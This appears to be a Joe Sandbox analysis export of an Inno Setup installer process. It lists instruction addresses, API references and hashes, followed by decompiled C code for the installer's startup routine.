0x004628dc
0x004628e9
0x004628ef
0x004628f4
0x004628ff
0x00462904
0x00462942
0x00462971
0x0046297e
0x00462984
0x00462992
0x0046299d
0x004629b5
0x004629bf
0x004629cf
0x004629f1
0x00462a00
0x00462a19
0x00462a1f
0x00462a31
0x00462a3f
0x00462a4a
0x00462a62
0x00462a70
0x00462a7b
0x00462a93
0x00462aa1
0x00462aac
0x00462ac4
0x00462ad2
0x00462ad8
0x00462aed
0x00462afa
0x00462b00
0x00462b22
0x00462b3c
0x00462b50
0x00462b56
0x00462b5c
0x00462b6c
0x00462b72
0x00462b7c
0x00462b84
0x00462b8a
0x00462b8b
0x00462b9b
0x00462baa
0x00462bcd
0x00462bda
0x00462be0
0x00462bed
0x00462bf3
0x00462c0c
0x00462c1a
0x00462c22
0x00462c28
0x00462c35
0x00462c45
0x00462c51
0x00462c5d
0x00462c70
0x00462c70
0x00462c7c
0x00462c88
0x00462c9b
0x00462c9b
0x00462ca7
0x00462cb3
0x00462cc6
0x00462cc6
0x00462cda
0x00462ce6
0x00462ceb
0x00462cfe
0x00462d05
0x00462d0a
0x00462d18
0x00462d27
0x00462d92
0x00462da7
0x00462dbc
0x00462d29
0x00462d2c
0x00462d31
0x00462d41
0x00462d49
0x00462d4e
0x00462d5e
0x00462d66
0x00462d6b
0x00462d7b
0x00462d7b
0x00462d27
0x00462dc8
0x00462e64
0x00462e6a
0x00462dce
0x00462dd1
0x00462dd6
0x00462de5
0x00462dea
0x00462df1
0x00462e0e
0x00462e13
0x00462e17
0x00462e24
0x00462e24
0x00462df3
0x00462df6
0x00462dfc
0x00462dfc
0x00462e2f
0x00462e3a
0x00462e45
0x00462e55
0x00462e55
0x00462e6f
0x00462e78
0x00462f1a
0x00462f1e
0x00462f26
0x00462f28
0x00462f2e
0x00462f36
0x00462f39
0x00462f7d
0x00462f85
0x00462f9c
0x00462fa1
0x00462fa9
0x00462fac
0x00463042
0x00463049
0x004630b5
0x004630b9
0x0046312a
0x0046312f
0x00463133
0x00463137
0x00463141
0x00463149
0x00463149
0x0046314d
0x0046314d
0x004630bb
0x004630be
0x004630c8
0x004630cb
0x004630ce
0x004630d2
0x0046310d
0x00463117
0x0046311f
0x00463123
0x004630d4
0x004630d6
0x004630e0
0x004630ec
0x004630f3
0x00463103
0x00463103
0x004630d2
0x00463152
0x00463154
0x0046315b
0x00463167
0x004631c1
0x004631c3
0x00463169
0x00463171
0x00463178
0x00463182
0x0046318c
0x004631a1
0x004631a8
0x004631b2
0x004631b2
0x0046318c
0x004631db
0x004631e7
0x004631f8
0x004631fe
0x00463208
0x0046320c
0x0046320c
0x00463214
0x00463219
0x00463228
0x00463234
0x0046324f
0x00463251
0x00463258
0x0046326e
0x00463279
0x00000000
0x00463279
0x00463267
0x0046326c
0x0046328b
0x00000000
0x0046328b
0x00000000
0x0046323f
0x00463242
0x00463248
0x00463290
0x0046329b
0x004632a7
0x004632e5
0x004632e7
0x004632a9
0x004632b0
0x004632c7
0x004632c7
0x004632d6
0x004632d6
0x004632ee
0x004632f7
0x004632fa
0x004632fd
0x00463305
0x0046330d
0x0046331a
0x0046331a
0x00463234
0x0046304b
0x0046304d
0x00463055
0x00463061
0x00000000
0x00000000
0x00463067
0x0046306f
0x00463072
0x00000000
0x00000000
0x00463079
0x0046307c
0x0046307e
0x00463080
0x0046308a
0x00463094
0x00000000
0x00000000
0x004630aa
0x004630ab
0x004630ab
0x004630ab
0x004630ae
0x00000000
0x00000000
0x00000000
0x004630b0
0x004630a0
0x00000000
0x004630a0
0x00462fb3
0x00462fb6
0x00462fb8
0x00462fba
0x00462fc4
0x00462fca
0x00463010
0x00463021
0x00463031
0x00463031
0x00463033
0x00462fcc
0x00462fe3
0x00462ff3
0x00462ff5
0x00462ff5
0x00463038
0x00463039
0x00463039
0x00463039
0x00000000
0x00462fb8
0x00462f3c
0x00462f3f
0x00462f41
0x00462f43
0x00462f4d
0x00462f51
0x00462f51
0x00462f57
0x00462f61
0x00462f63
0x00462f68
0x00462f6e
0x00462f71
0x00462f71
0x00462f77
0x00462f78
0x00462f78
0x00462f78
0x00000000
0x00462e7e
0x00462e86
0x00462e8b
0x00462e93
0x00462e96
0x00462ef3
0x00462ef7
0x00462f13
0x00462f15
0x00462ef9
0x00462f04
0x00462f04
0x00000000
0x00462ef7
0x00462e99
0x00462e9c
0x00462e9e
0x00462ea0
0x00462eaa
0x00462eb6
0x00462ecc
0x00462ecf
0x00462ed1
0x00462ee8
0x00462eea
0x00462eea
0x00462eed
0x00462eee
0x00462eee
0x00462eee
0x00000000
0x00462e9e

APIs

Part of subcall function 0048AB80: GetWindowRect.USER32 ref: 0048AB96

LoadBitmapA.USER32 ref: 0046204F

Part of subcall function 0041D694: GetObjectA.GDI32(?,00000018,?), ref: 0041D6BF

Part of subcall function 00461ADC: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00461B79
Part of subcall function 00461ADC: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00461B9F
Part of subcall function 00461ADC: SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00461BFB
Part of subcall function 00461ADC: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00461C21

Part of subcall function 0046148C: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00462104,00000000,00000000,00000000,00400000,STOPIMAGE,0000000C,00000000), ref: 004614A4

Part of subcall function 0048AD90: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 0048AD9A

Part of subcall function 0048AAE0: 73AFAC50.USER32(00000000,?,?,?), ref: 0048AB00
Part of subcall function 0048AAE0: SelectObject.GDI32(?,00000000), ref: 0048AB23
Part of subcall function 0048AAE0: 73AFB380.USER32(00000000,?,0048AB73,0048AB6C,?,00000000,?,?,?), ref: 0048AB66

Part of subcall function 0048AD80: MulDiv.KERNEL32(0000004B,?,00000006), ref: 0048AD8A

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,0230B278,02318028,?,?,02318058,?,?,023180A8,?), ref: 00462CD5
AppendMenuA.USER32 ref: 00462CE6
AppendMenuA.USER32 ref: 00462CFE

Part of subcall function 0042A040: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 0042A056

Strings

(Default), xrefs: 00463262
, xrefs: 00462111
STOPIMAGE, xrefs: 00462044

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Menu$AppendExtractFileIconInfoObject$B380BitmapCallbackDispatcherLoadMessageRectSelectSendSystemUserWindow
String ID: $(Default)$STOPIMAGE
API String ID: 3668695379-770201673
Opcode ID: f267a776eba335c9dcaa3a2854800986158c07170a82d765df1872123448e94e
Instruction ID: f6611480b1059339d6da4444377da1e74988b953d2cb15c44e1f5011ed83dcbb
Opcode Fuzzy Hash: f267a776eba335c9dcaa3a2854800986158c07170a82d765df1872123448e94e
Instruction Fuzzy Hash: BBF2C5386005508FCB00EF69D4D9F9973F1BF49304F1581B6E9049B36ADB78AC4ACB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004777A8 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 502
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E004777A8(long __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t170;
				intOrPtr _t171;
				intOrPtr _t177;
				char _t181;
				intOrPtr _t183;
				intOrPtr _t187;
				intOrPtr _t191;
				intOrPtr _t195;
				intOrPtr _t199;
				void* _t204;
				intOrPtr _t206;
				void* _t208;
				intOrPtr _t209;
				intOrPtr _t211;
				void* _t213;
				intOrPtr _t214;
				intOrPtr _t216;
				void* _t218;
				intOrPtr _t219;
				intOrPtr _t221;
				void* _t223;
				intOrPtr _t224;
				intOrPtr _t225;
				intOrPtr _t226;
				int _t227;
				intOrPtr _t228;
				intOrPtr _t229;
				intOrPtr _t230;
				void* _t232;
				intOrPtr _t233;
				void* _t235;
				intOrPtr _t236;
				intOrPtr _t237;
				int _t240;
				void* _t241;
				intOrPtr _t245;
				intOrPtr _t256;
				intOrPtr _t263;
				signed int _t267;
				signed int _t273;
				signed int _t283;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				intOrPtr _t297;
				intOrPtr _t302;
				intOrPtr _t305;
				void* _t306;
				intOrPtr _t308;
				void* _t309;
				intOrPtr _t313;
				void* _t314;
				intOrPtr _t316;
				intOrPtr _t319;
				void* _t320;
				intOrPtr _t322;
				void* _t323;
				intOrPtr _t327;
				void* _t328;
				intOrPtr _t330;
				intOrPtr _t333;
				void* _t334;
				intOrPtr _t336;
				void* _t337;
				intOrPtr _t341;
				void* _t342;
				intOrPtr _t344;
				intOrPtr _t349;
				intOrPtr _t350;
				intOrPtr _t351;
				intOrPtr _t352;
				intOrPtr _t353;
				char _t355;
				intOrPtr _t359;
				void* _t360;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t374;
				intOrPtr _t375;
				intOrPtr _t380;
				intOrPtr* _t383;
				intOrPtr* _t384;
				void* _t391;
				intOrPtr _t394;
				intOrPtr _t406;
				intOrPtr _t407;
				intOrPtr _t409;
				intOrPtr _t423;
				intOrPtr _t433;
				intOrPtr _t439;
				intOrPtr _t445;
				intOrPtr _t448;
				intOrPtr _t449;
				void* _t457;
				intOrPtr _t458;
				void* _t464;
				void* _t465;
				void* _t466;
				void* _t514;

				_t514 = __fp0;
				_t456 = __esi;
				_t455 = __edi;
				_t385 = __ecx;
				_t382 = __ebx;
				if( *0x49022c != 0) {
					_t380 =  *0x4901a4; // 0x22f59c0
					if( *((intOrPtr*)(_t380 + 8)) > 1 &&  *0x48ff95 == 0 &&  *0x48ff96 == 0 && E0046F9DC(__ebx, __edi, __esi) == 0) {
						E00408B78();
					}
				}
				_t170 =  *0x478348; // 0x0
				_t464 = _t170 -  *0x49015a; // 0x0
				if(_t464 == 0) {
					L11:
					_t171 =  *0x48eb4c; // 0x2
					_t466 = _t171 - 7;
					if(_t466 <= 0) {
						asm("bt [0x49015b], eax");
					}
					if(_t466 >= 0) {
						__eflags = 0;
						E00475F18(0, 0); // executed
					} else {
						_t467 =  *0x490230;
						if( *0x490230 == 0) {
							_t397 = 0x478354;
							E00476194(0x67, _t382, 0x478354, _t455, _t456, _t467);
						}
						E00475F18(1, _t467);
					}
					E00473B08(_t382, _t385, _t397, _t455, _t456); // executed
					E00473F64(_t382, _t397, _t455, _t456); // executed
					E00474290(_t382, _t455, _t456, _t467);
					_t177 =  *0x490159; // 0x3
					_t468 = _t177 - 0xffffffffffffffff;
					if(_t177 - 0xffffffffffffffff < 0) {
						E004763AC(_t382, _t455, _t456, _t468, _t457);
						_pop(_t385);
					}
					_t469 =  *0x490161 & 0x00000002;
					if(( *0x490161 & 0x00000002) != 0) {
						E00476544(_t382, _t455, _t456, _t469, _t457); // executed
						_pop(_t385); // executed
					}
					E004768C4(); // executed
					if( *0x49009c == 0) {
						_t181 =  *0x490234; // 0x0
						 *0x490234 = E004767E0(_t181, _t382, _t385, _t455, _t456, _t514);
					} else {
						 *0x49027c = E00489F10(1, _t455);
						_push(_t457);
						_push(0x477949);
						_push( *[fs:eax]);
						 *[fs:eax] = _t458;
						_t349 =  *0x49027c; // 0x2329f3c
						 *((intOrPtr*)(_t349 + 0xc)) = E004750E8;
						_t350 =  *0x49027c; // 0x2329f3c
						 *((intOrPtr*)(_t350 + 0x10)) = 0x47525c;
						_t351 =  *0x49027c; // 0x2329f3c
						 *((intOrPtr*)(_t351 + 0x14)) = 0x475268;
						_t352 =  *0x49027c; // 0x2329f3c
						 *((intOrPtr*)(_t352 + 0x18)) = 0x475274;
						_t394 =  *0x48fef0; // 0x0
						_t448 =  *0x49009c; // 0x2316c8c
						_t353 =  *0x49027c; // 0x2329f3c
						E00489FC8(_t353, _t394, _t448);
						_t471 =  *0x490234;
						if( *0x490234 == 0) {
							_t365 =  *0x49027c; // 0x2329f3c
							 *0x490234 = E0048A050(_t365, "CheckPassword", _t471);
						}
						_t355 =  *0x490234; // 0x0
						 *0x490234 = E004767E0(_t355, _t382, _t394, _t455, _t456, _t514);
						_t472 =  *0x490235;
						if( *0x490235 == 0) {
							_t363 =  *0x49027c; // 0x2329f3c
							 *0x490235 = E0048A050(_t363, "CheckSerial", _t472);
						}
						_pop(_t449);
						 *[fs:eax] = _t449;
						_push(_t457);
						_push(0x4779a6);
						_push( *[fs:edx]);
						 *[fs:edx] = _t458;
						 *((intOrPtr*)(_t457 - 0x8c)) = 0;
						 *((char*)(_t457 - 0x88)) = 0xb;
						_t385 = _t457 - 0x8c;
						_t359 =  *0x49027c; // 0x2329f3c, executed
						_t360 = E0048A14C(_t359, _t457 - 0x8c, "InitializeSetup", _t472, _t514, 1, 0, 0); // executed
						_pop( *[fs:0x0]);
						_t458 = _t458 + 8;
						if(_t360 == 0) {
							E00455348("InitializeSetup returned False; aborting.", _t382, _t455, _t456);
							E00408B78();
						}
					}
					_t183 =  *0x490044; // 0x2306e88
					E004737F0(_t183, _t385, _t457 - 0x80);
					E00403468(0x49025c, _t382,  *((intOrPtr*)(_t457 - 0x80)), _t455, _t456);
					_t187 =  *0x490048; // 0x2306ea0
					E004737F0(_t187, _t385, _t457 - 0x80);
					E00403468(0x490260, _t382,  *((intOrPtr*)(_t457 - 0x80)), _t455, _t456);
					_t191 =  *0x490050; // 0x0
					E004737F0(_t191, _t385, _t457 - 0x80);
					E00403468(0x490264, _t382,  *((intOrPtr*)(_t457 - 0x80)), _t455, _t456);
					_t195 =  *0x49008c; // 0x2316c34
					E004737F0(_t195, _t385, _t457 - 0x80);
					E00403468(0x490268, _t382,  *((intOrPtr*)(_t457 - 0x80)), _t455, _t456);
					while(1) {
						_t199 =  *0x490268; // 0x2316c34
						if(E004534C0(_t199, _t382, _t385, _t455, _t456) == 0) {
							break;
						}
						_t406 =  *0x49025c; // 0x2306e88
						E004503A4(0x93, _t457 - 0x80, _t406);
						_t385 = 2;
						_t407 =  *0x48fdbc; // 0x22f2d78
						_t204 = E00475DF4( *((intOrPtr*)(_t457 - 0x80)), _t382, 2, _t407, _t455, _t456, 2, 1, 1);
						__eflags = _t204 != 1;
						if(_t204 != 1) {
							E00408B78();
						}
					}
					_t206 =  *0x4901b0; // 0x22f59fc
					_t208 =  *((intOrPtr*)(_t206 + 8)) - 1;
					if(_t208 < 0) {
						L41:
						_t209 =  *0x4901b0; // 0x22f59fc
						E0040B570(_t209);
						_t211 =  *0x4901b4; // 0x22f5a10
						_t213 =  *((intOrPtr*)(_t211 + 8)) - 1;
						if(_t213 < 0) {
							L46:
							_t214 =  *0x4901b4; // 0x22f5a10
							E0040B570(_t214);
							_t216 =  *0x4901b8; // 0x22f5a24
							_t218 =  *((intOrPtr*)(_t216 + 8)) - 1;
							if(_t218 < 0) {
								L51:
								_t219 =  *0x4901b8; // 0x22f5a24
								E0040B570(_t219);
								 *0x49023b = 0;
								_t221 =  *0x4901b0; // 0x22f59fc
								_t223 =  *((intOrPtr*)(_t221 + 8)) - 1;
								if(_t223 < 0) {
									L56:
									_t224 =  *0x4901b4; // 0x22f5a10
									 *0x49023c =  *((intOrPtr*)(_t224 + 8)) != 0;
									_t225 =  *0x4901c8; // 0x22f5a74
									 *0x49022e =  *((intOrPtr*)(_t225 + 8)) != 0;
									_t226 =  *0x4901b8; // 0x22f5a24
									 *0x49023d =  *((intOrPtr*)(_t226 + 8)) != 0;
									_t227 = SetErrorMode(1); // executed
									 *(_t457 - 0x20) = _t227;
									_push(_t457);
									_push(0x477efd);
									_push( *[fs:edx]);
									 *[fs:edx] = _t458;
									_t228 =  *0x490148; // 0x0
									 *0x49024c = _t228;
									_t229 =  *0x49014c; // 0x0
									 *0x490250 = _t229;
									_t230 =  *0x4901c0; // 0x22f5a4c
									_t232 =  *((intOrPtr*)(_t230 + 8)) - 1;
									if(_t232 < 0) {
										L72:
										_t233 =  *0x4901b4; // 0x22f5a10
										_t235 =  *((intOrPtr*)(_t233 + 8)) - 1;
										if(_t235 < 0) {
											L75:
											_t236 =  *0x4901b0; // 0x22f59fc
											_t237 =  *((intOrPtr*)(_t236 + 8));
											if(_t237 <= 0) {
												L83:
												_pop(_t409);
												 *[fs:eax] = _t409;
												_push(0x477f04);
												_t240 = SetErrorMode( *(_t457 - 0x20)); // executed
												return _t240;
											}
											_t241 = _t237 - 1;
											if(_t241 < 0) {
												L82:
												E00430264(0x49024c, _t457 - 0x30);
												goto L83;
											}
											 *(_t457 - 0x38) = _t241 + 1;
											 *(_t457 - 0x18) = 0;
											do {
												_t245 =  *0x4901b0; // 0x22f59fc
												_t383 = E0040B420(_t245,  *(_t457 - 0x18));
												E00474934( *_t383, _t457 - 0x8c,  *(_t457 - 0x18) & 0xffffff00 | ( *(_t383 + 0x24) & 0x00000001) != 0x00000000);
												 *((intOrPtr*)(_t383 + 0x26)) =  *((intOrPtr*)(_t457 - 0x8c));
												 *((intOrPtr*)(_t383 + 0x2a)) =  *((intOrPtr*)(_t457 - 0x88));
												if( *(_t457 - 0x18) == 0) {
													L80:
													 *((intOrPtr*)(_t457 - 0x30)) =  *((intOrPtr*)(_t383 + 0x26));
													 *((intOrPtr*)(_t457 - 0x2c)) =  *((intOrPtr*)(_t383 + 0x2a));
													goto L81;
												}
												_t159 = _t383 + 0x26; // 0x26
												if(E00430228(_t159, _t457 - 0x30) >= 0) {
													goto L81;
												}
												goto L80;
												L81:
												 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
												_t166 = _t457 - 0x38;
												 *_t166 =  *(_t457 - 0x38) - 1;
											} while ( *_t166 != 0);
											goto L82;
										}
										 *(_t457 - 0x38) = _t235 + 1;
										 *(_t457 - 0x18) = 0;
										do {
											_t256 =  *0x4901b4; // 0x22f5a10
											_t384 = E0040B420(_t256,  *(_t457 - 0x18));
											_t134 = _t384 + 0x14; // 0x14
											E00474850( *_t384, _t384, _t457 - 0x8c, _t134, _t455, _t456);
											 *((intOrPtr*)(_t384 + 0x36)) =  *((intOrPtr*)(_t457 - 0x8c));
											 *((intOrPtr*)(_t384 + 0x3a)) =  *((intOrPtr*)(_t457 - 0x88));
											 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
											_t141 = _t457 - 0x38;
											 *_t141 =  *(_t457 - 0x38) - 1;
										} while ( *_t141 != 0);
										goto L75;
									}
									 *(_t457 - 0x38) = _t232 + 1;
									 *(_t457 - 0x18) = 0;
									do {
										_t263 =  *0x4901c0; // 0x22f5a4c
										 *(_t457 - 0x3c) = E0040B420(_t263,  *(_t457 - 0x18));
										if( *((intOrPtr*)( *(_t457 - 0x3c) + 0x38)) == 0xffffffff) {
											_push(_t457);
											_push(0x477dcd);
											_push( *[fs:eax]);
											 *[fs:eax] = _t458;
											_t267 =  *(_t457 - 0x3c);
											__eflags =  *((char*)(_t267 + 0x4e));
											if( *((char*)(_t267 + 0x4e)) == 0) {
												E004737F0( *( *(_t457 - 0x3c)), _t385, _t457 - 0x34);
											} else {
												E0042D308(0, _t382, _t457 - 0x34, _t455, _t456);
											}
											_push(_t457);
											_push(E0042E5EC( *((intOrPtr*)(_t457 - 0x34))));
											_t273 =  *(_t457 - 0x3c);
											__eflags =  *(_t273 + 0x4c) & 0x00000020;
											_push(_t273 & 0xffffff00 | ( *(_t273 + 0x4c) & 0x00000020) != 0x00000000);
											_push(_t457 - 0x8c);
											E0042C860( *((intOrPtr*)(_t457 - 0x34)), _t385, _t457 - 0x80);
											_push( *((intOrPtr*)(_t457 - 0x80)));
											E0042C888( *((intOrPtr*)(_t457 - 0x34)), _t385, _t457 - 0x84);
											_pop(_t391); // executed
											E0047694C( *((intOrPtr*)(_t457 - 0x84)), _t382, _t391, 0, _t455, _t456); // executed
											_t283 =  *(_t457 - 0x3c);
											 *((intOrPtr*)(_t283 + 0x40)) =  *((intOrPtr*)(_t457 - 0x8c));
											 *((intOrPtr*)(_t283 + 0x44)) =  *((intOrPtr*)(_t457 - 0x88));
											_pop(_t423);
											_pop(_t385);
											 *[fs:eax] = _t423;
											_t285 =  *(_t457 - 0x3c);
											__eflags =  *(_t285 + 0xc);
											if( *(_t285 + 0xc) == 0) {
												_t286 =  *(_t457 - 0x3c);
												__eflags =  *(_t286 + 0x10);
												if( *(_t286 + 0x10) == 0) {
													_t287 =  *(_t457 - 0x3c);
													__eflags =  *(_t287 + 0x18);
													if( *(_t287 + 0x18) == 0) {
														E00430264(0x49024c,  *(_t457 - 0x3c) + 0x40);
													}
												}
											}
										} else {
											if( *((intOrPtr*)( *(_t457 - 0x3c) + 0xc)) == 0 &&  *((intOrPtr*)( *(_t457 - 0x3c) + 0x10)) == 0 &&  *((intOrPtr*)( *(_t457 - 0x3c) + 0x18)) == 0) {
												_t297 =  *0x4901c4; // 0x22f5a60
												_t92 = E0040B420(_t297,  *((intOrPtr*)( *(_t457 - 0x3c) + 0x38))) + 0x14; // 0x14
												E00430264(0x49024c, _t92);
											}
										}
										 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
										_t127 = _t457 - 0x38;
										 *_t127 =  *(_t457 - 0x38) - 1;
									} while ( *_t127 != 0);
									goto L72;
								}
								 *(_t457 - 0x38) = _t223 + 1;
								 *(_t457 - 0x18) = 0;
								while(1) {
									_t302 =  *0x4901b0; // 0x22f59fc
									if(( *(E0040B420(_t302,  *(_t457 - 0x18)) + 0x24) & 0x00000001) != 0) {
										break;
									}
									 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
									_t71 = _t457 - 0x38;
									 *_t71 =  *(_t457 - 0x38) - 1;
									__eflags =  *_t71;
									if( *_t71 != 0) {
										continue;
									}
									goto L56;
								}
								 *0x49023b = 1;
								goto L56;
							}
							 *(_t457 - 0x38) = _t218 + 1;
							 *(_t457 - 0x18) = 0;
							do {
								_t305 =  *0x4901b8; // 0x22f5a24
								_t306 = E0040B420(_t305,  *(_t457 - 0x18));
								_t308 =  *0x4901b8; // 0x22f5a24
								_t309 = E0040B420(_t308,  *(_t457 - 0x18));
								_t385 = 0;
								if(E00470F34(0, 0, 0,  *((intOrPtr*)(_t309 + 0x14)),  *((intOrPtr*)(_t306 + 0x10)), 0) == 0) {
									_t313 =  *0x4901b8; // 0x22f5a24
									_t314 = E0040B420(_t313,  *(_t457 - 0x18));
									_t433 =  *0x48eb18; // 0x6
									E0046F754(_t314, _t433);
									_t385 = 0;
									_t316 =  *0x4901b8; // 0x22f5a24
									E0040B52C(_t316, 0,  *(_t457 - 0x18));
								}
								 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
								_t60 = _t457 - 0x38;
								 *_t60 =  *(_t457 - 0x38) - 1;
							} while ( *_t60 != 0);
							goto L51;
						}
						 *(_t457 - 0x38) = _t213 + 1;
						 *(_t457 - 0x18) = 0;
						do {
							_t319 =  *0x4901b4; // 0x22f5a10
							_t320 = E0040B420(_t319,  *(_t457 - 0x18));
							_t322 =  *0x4901b4; // 0x22f5a10
							_t323 = E0040B420(_t322,  *(_t457 - 0x18));
							_t385 = 0;
							if(E00470F34(0, 0, 0,  *((intOrPtr*)(_t323 + 0x10)),  *((intOrPtr*)(_t320 + 0xc)), 0) == 0) {
								_t327 =  *0x4901b4; // 0x22f5a10
								_t328 = E0040B420(_t327,  *(_t457 - 0x18));
								_t439 =  *0x48eb14; // 0x5
								E0046F754(_t328, _t439);
								_t385 = 0;
								_t330 =  *0x4901b4; // 0x22f5a10
								E0040B52C(_t330, 0,  *(_t457 - 0x18));
							}
							 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
							_t47 = _t457 - 0x38;
							 *_t47 =  *(_t457 - 0x38) - 1;
						} while ( *_t47 != 0);
						goto L46;
					}
					 *(_t457 - 0x38) = _t208 + 1;
					 *(_t457 - 0x18) = 0;
					do {
						_t333 =  *0x4901b0; // 0x22f59fc
						_t334 = E0040B420(_t333,  *(_t457 - 0x18));
						_t336 =  *0x4901b0; // 0x22f59fc
						_t337 = E0040B420(_t336,  *(_t457 - 0x18));
						_t385 = 0;
						if(E00470F34(0, 0, 0,  *((intOrPtr*)(_t337 + 0xc)),  *((intOrPtr*)(_t334 + 8)), 0) == 0) {
							_t341 =  *0x4901b0; // 0x22f59fc
							_t342 = E0040B420(_t341,  *(_t457 - 0x18));
							_t445 =  *0x48eb10; // 0x4
							E0046F754(_t342, _t445);
							_t385 = 0;
							_t344 =  *0x4901b0; // 0x22f59fc
							E0040B52C(_t344, 0,  *(_t457 - 0x18));
						}
						 *(_t457 - 0x18) =  *(_t457 - 0x18) + 1;
						_t34 = _t457 - 0x38;
						 *_t34 =  *(_t457 - 0x38) - 1;
					} while ( *_t34 != 0);
					goto L41;
				}
				_t374 =  *0x48eb4c; // 0x2
				_t465 = _t374 - 7;
				if(_t465 <= 0) {
					asm("bt [0x49015a], eax");
				}
				if(_t465 >= 0) {
					_t375 =  *0x49015a; // 0x0
					E00475FC8(_t375, _t457 - 0x80);
					_t397 =  *((intOrPtr*)(_t457 - 0x80));
					E00476194(0x70, _t382,  *((intOrPtr*)(_t457 - 0x80)), _t455, _t456, _t465);
				}
				goto L11;
			}

0x004777a8
0x004777a8
0x004777a8
0x004777a8
0x004777a8
0x004777af
0x004777b1
0x004777ba
0x004777d7
0x004777d7
0x004777ba
0x004777dc
0x004777e1
0x004777e7
0x00477815
0x00477815
0x0047781a
0x0047781c
0x00477821
0x00477821
0x00477828
0x00477848
0x0047784a
0x0047782a
0x0047782a
0x00477831
0x00477833
0x0047783a
0x0047783a
0x00477841
0x00477841
0x0047784f
0x00477854
0x00477859
0x0047785e
0x00477864
0x00477866
0x00477869
0x0047786e
0x0047786e
0x0047786f
0x00477876
0x00477879
0x0047787e
0x0047787e
0x0047787f
0x0047788b
0x004779d4
0x004779de
0x00477891
0x0047789d
0x004778a4
0x004778a5
0x004778aa
0x004778ad
0x004778b0
0x004778b5
0x004778bc
0x004778c1
0x004778c8
0x004778cd
0x004778d4
0x004778d9
0x004778e0
0x004778e6
0x004778ec
0x004778f1
0x004778f6
0x004778fd
0x00477904
0x0047790e
0x0047790e
0x00477913
0x0047791d
0x00477922
0x00477929
0x00477930
0x0047793a
0x0047793a
0x00477941
0x00477944
0x00477964
0x00477965
0x0047796a
0x0047796d
0x00477978
0x0047797e
0x00477985
0x00477990
0x00477995
0x0047799a
0x004779a1
0x004779c1
0x004779c8
0x004779cd
0x004779cd
0x004779c1
0x004779e6
0x004779eb
0x004779f8
0x00477a00
0x00477a05
0x00477a12
0x00477a1a
0x00477a1f
0x00477a2c
0x00477a34
0x00477a39
0x00477a46
0x00477a7b
0x00477a7b
0x00477a87
0x00000000
0x00000000
0x00477a56
0x00477a5e
0x00477a66
0x00477a68
0x00477a6e
0x00477a73
0x00477a74
0x00477a76
0x00477a76
0x00477a74
0x00477a89
0x00477a91
0x00477a94
0x00477b03
0x00477b03
0x00477b08
0x00477b0d
0x00477b15
0x00477b18
0x00477b87
0x00477b87
0x00477b8c
0x00477b91
0x00477b99
0x00477b9c
0x00477c0b
0x00477c0b
0x00477c10
0x00477c15
0x00477c1c
0x00477c24
0x00477c27
0x00477c58
0x00477c58
0x00477c61
0x00477c68
0x00477c71
0x00477c78
0x00477c81
0x00477c8a
0x00477c8f
0x00477c94
0x00477c95
0x00477c9a
0x00477c9d
0x00477ca0
0x00477ca6
0x00477cac
0x00477cb2
0x00477cb8
0x00477cc0
0x00477cc3
0x00477e0e
0x00477e0e
0x00477e16
0x00477e19
0x00477e5f
0x00477e5f
0x00477e64
0x00477e69
0x00477ee6
0x00477ee8
0x00477eeb
0x00477eee
0x00477ef7
0x00477efc
0x00477efc
0x00477e6b
0x00477e6e
0x00477ed9
0x00477ee1
0x00000000
0x00477ee1
0x00477e71
0x00477e74
0x00477e7b
0x00477e7e
0x00477e88
0x00477e99
0x00477ea4
0x00477ead
0x00477eb4
0x00477ec5
0x00477ec8
0x00477ece
0x00000000
0x00477ece
0x00477eb9
0x00477ec3
0x00000000
0x00000000
0x00000000
0x00477ed1
0x00477ed1
0x00477ed4
0x00477ed4
0x00477ed4
0x00000000
0x00477e7b
0x00477e1c
0x00477e1f
0x00477e26
0x00477e29
0x00477e33
0x00477e3b
0x00477e40
0x00477e4b
0x00477e54
0x00477e57
0x00477e5a
0x00477e5a
0x00477e5a
0x00000000
0x00477e26
0x00477cca
0x00477ccd
0x00477cd4
0x00477cd7
0x00477ce1
0x00477ceb
0x00477d38
0x00477d39
0x00477d3e
0x00477d41
0x00477d44
0x00477d47
0x00477d4b
0x00477d61
0x00477d4d
0x00477d52
0x00477d52
0x00477d66
0x00477d6f
0x00477d70
0x00477d73
0x00477d7a
0x00477d81
0x00477d88
0x00477d90
0x00477d9a
0x00477da7
0x00477da8
0x00477dae
0x00477db7
0x00477dc0
0x00477dc5
0x00477dc7
0x00477dc8
0x00477dd7
0x00477dda
0x00477dde
0x00477de0
0x00477de3
0x00477de7
0x00477de9
0x00477dec
0x00477df0
0x00477dfd
0x00477dfd
0x00477df0
0x00477de7
0x00477ced
0x00477cf4
0x00477d1a
0x00477d24
0x00477d2c
0x00477d2c
0x00477cf4
0x00477e02
0x00477e05
0x00477e05
0x00477e05
0x00000000
0x00477cd4
0x00477c2a
0x00477c2d
0x00477c34
0x00477c37
0x00477c45
0x00000000
0x00000000
0x00477c50
0x00477c53
0x00477c53
